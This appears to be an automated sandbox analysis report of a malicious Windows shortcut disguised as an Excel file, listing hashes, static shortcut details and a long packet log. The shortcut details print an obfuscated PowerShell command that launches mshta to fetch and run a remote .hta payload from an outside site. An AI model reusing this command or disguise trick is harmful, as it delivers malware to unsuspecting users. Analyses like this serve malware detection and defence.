File type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	2.788293913847845
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	FT. 40FE CNY .xlsx.lnk
File size:	2'128 bytes
MD5:	82fde340f187a517e0feced1d4972363
SHA1:	07740ba4e30a1dbc830451a0d05130ba1af28be9
SHA256:	e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
SHA512:	db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c
SSDEEP:	24:8A/BHYVKVWXlMT+/CWlrDA4mzScdCZTCJCZkrab0JG:8E5aeCfA4mldCZTCJCZ6aQ
TLSH:	73419B106BF20714F7F79E7A2CB5B71199377805DE12CF9D005141482475E61E879F1B
File Content Preview:	L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	74f4e6c4c4c9c1cd

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Argument:	.(gp -pa 'HKLM:\SOF\Clas\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
Icon location:	C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 06:45:17.763901949 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:17.763952971 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:17.764127970 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:17.772062063 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:17.772079945 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:18.424915075 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:18.425108910 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:18.487488031 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:18.487508059 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:18.488701105 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:18.488782883 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:18.490394115 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:18.532140017 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390361071 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390391111 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390409946 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390456915 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.390470982 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390515089 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.390532970 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.390753031 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390774012 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.390863895 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.390863895 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.390872002 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.391083002 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.708473921 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.708492041 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.708514929 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.708559036 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.708570004 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.708586931 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.708678007 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.709518909 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.709538937 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.709594965 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.709600925 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.709614038 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.709657907 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710024118 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.710062981 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.710102081 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710102081 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710108995 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.710123062 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:19.710165024 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710165024 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710484028 CEST	49705	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:19.710496902 CEST	443	49705	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:24.860240936 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:24.860287905 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:24.860363960 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:24.892648935 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:24.892678976 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:25.525621891 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:25.525702000 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:25.527043104 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:25.527065039 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:25.527398109 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:25.536581039 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:25.584125996 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.153276920 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.153604031 CEST	443	49710	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.153654099 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.205976963 CEST	49710	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.208357096 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.208401918 CEST	443	49712	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.208473921 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.208726883 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.208765030 CEST	443	49712	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.232180119 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.276161909 CEST	443	49712	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.412190914 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.412241936 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.412312984 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.412658930 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.412678003 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.852868080 CEST	443	49712	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:26.852945089 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:26.852999926 CEST	49712	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:27.058099985 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:27.058216095 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:27.059577942 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:27.059595108 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:27.059973001 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:27.060940981 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:27.108129978 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028038025 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028151989 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028208971 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028229952 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.028289080 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028352022 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.028352022 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.028475046 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028525114 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028580904 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.028592110 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.028620005 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.071584940 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.346420050 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.346458912 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.346512079 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.346585035 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.346618891 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.346647024 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.346674919 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.347184896 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.347248077 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.347275972 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.347290039 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.347330093 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.347346067 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.374923944 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.374941111 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.375066042 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.375108004 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.375164986 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.664417982 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.664433002 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.664484978 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.664577007 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.664592981 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.664619923 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.664644003 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.665440083 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.665457010 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.665514946 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.665523052 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.665565968 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.666637897 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.666654110 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.666733980 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.666743040 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.666784048 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.667526007 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.667541981 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.667587996 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.667593956 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.667629957 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.667650938 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.749830008 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.749857903 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.749982119 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.749996901 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.750042915 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.750895023 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.750910044 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.750967979 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.750976086 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.751036882 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.982506037 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.982517958 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.982551098 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.982615948 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.982626915 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.982656956 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.982682943 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.983331919 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.983347893 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.983408928 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.983417034 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.983470917 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.984191895 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.984208107 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.984270096 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.984276056 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.984321117 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.984991074 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.985011101 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.985044003 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.985050917 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.985102892 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.985102892 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.986037016 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.986052036 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.986150026 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.986155987 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.986197948 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.987032890 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987047911 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987103939 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.987112045 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987149000 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.987833023 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987849951 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987895012 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.987901926 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.987941027 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.987967968 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.988779068 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.988794088 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.988831997 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.988838911 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:28.988862038 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:28.988888025 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.068779945 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.068799019 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.068909883 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.068948030 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.068993092 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.069993973 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.070009947 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.070060015 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.070080042 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.070122004 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.071002960 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071018934 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071067095 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.071074009 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071110010 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.071804047 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071820021 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071876049 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.071882963 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.071923971 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.072911024 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.072928905 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.072990894 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.072997093 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.073035002 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.301213980 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.301223040 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.301254988 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.301326990 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.301337004 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.301347971 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.301392078 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.302270889 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.302288055 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.302359104 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.302366972 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.302412033 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.303030014 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.303045988 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.303107023 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.303113937 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.303148031 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.304012060 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304027081 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304075003 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.304083109 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304105043 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.304133892 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.304835081 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304852009 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304951906 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.304958105 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.304999113 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.305660963 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.305677891 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.305742025 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.305747986 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.305787086 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.306668997 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.306685925 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.306725979 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.306746006 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.306768894 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.306783915 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.307312965 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.307328939 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.307382107 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.307389021 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.307424068 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.308296919 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.308336973 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.308362007 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.308367968 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.308403969 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.308428049 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.309854031 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.309874058 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.309922934 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.309928894 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.309983015 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.309995890 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.311034918 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.311053038 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.311113119 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.311119080 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.311162949 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.311959982 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.311980009 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.312022924 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.312028885 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.312062025 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.312077999 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.312935114 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.312953949 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.313010931 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.313021898 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.313066006 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.313801050 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.313817024 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.313879013 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.313885927 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.313921928 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.314676046 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.314691067 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.314750910 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.314755917 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.314790964 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.386143923 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.386164904 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.386229992 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.386244059 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.386287928 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.386307001 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.387232065 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.387259960 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.387305975 CEST	49713	443	192.168.2.7	89.46.106.29
Apr 24, 2024 06:45:29.387311935 CEST	443	49713	89.46.106.29	192.168.2.7
Apr 24, 2024 06:45:29.387358904 CEST	49713	443	192.168.2.7	89.46.106.29
